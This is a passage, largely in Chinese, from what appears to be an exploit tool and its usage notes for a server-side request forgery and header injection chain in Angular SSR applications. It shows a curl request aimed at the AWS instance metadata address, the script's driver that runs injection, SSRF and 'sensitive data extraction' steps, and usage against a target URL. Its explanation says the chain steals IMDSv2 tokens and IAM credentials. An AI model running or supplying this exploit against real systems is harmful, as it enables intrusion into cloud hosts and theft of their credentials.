curl -H "X-Forwarded-For: http://169.254.169.254/latest/meta-data/" {self.target}
描述:Angular SSR 处理不安全的查询参数,影响原型链 影响:请求头操纵,潜在的 SSRF 链式利用
express-validator 或类似工具进行头部清理def main(): parser = argparse.ArgumentParser(description="Angular SSR SSRF 与头部注入漏洞利用") parser.add_argument("target", help="目标 Angular SSR 应用程序 URL") parser.add_argument("--no-ssl-verify", action="store_true", help="禁用 SSL 验证")
args = parser.parse_args()
exploit = AngularSSRExploit(args.target, ssl_verify=not args.no_ssl_verify)
print(f"[+] 目标: {args.target}")
print(f"[+] SSL 验证: {'已禁用' if args.no_ssl_verify else '已启用'}")
# 执行漏洞利用链
exploit.test_header_injection()
exploit.exploit_ssrf_chain()
exploit.extract_sensitive_data()
exploit.generate_report()
if name == "main": main() 使用方法 bash
python3 angular_ssr_exploit.py https://target.com
python3 angular_ssr_exploit.py https://target.com --no-ssl-verify 工作原理 头部注入测试:发送原型污染载荷和不安全的转发头部,Angular SSR 可能以不安全的方式处理这些头部 SSRF 链:通过 X-Forwarded-For/X-Original-URL 测试对 AWS IMDS、GCP 元数据、localhost 服务的访问 IMDSv2 令牌提取:链式利用 SSRF 窃取 AWS 元数据令牌,进而获取 IAM 凭证 自动化报告:生成带有 CVSS 评分和 PoC 的渗透测试报告 技术细节 根本原因:Angular Universal SSR 应用通常将 req.headers 直接转发到内部 API,而未进行清理:
javascript
// 存在漏洞的 Angular SSR 模式 app.get('*', (req, res) => { const url = req.headers['x-original-url'] || req.originalUrl; // SSRF internalFetch(url, { headers: req.headers }); // 头部注入 });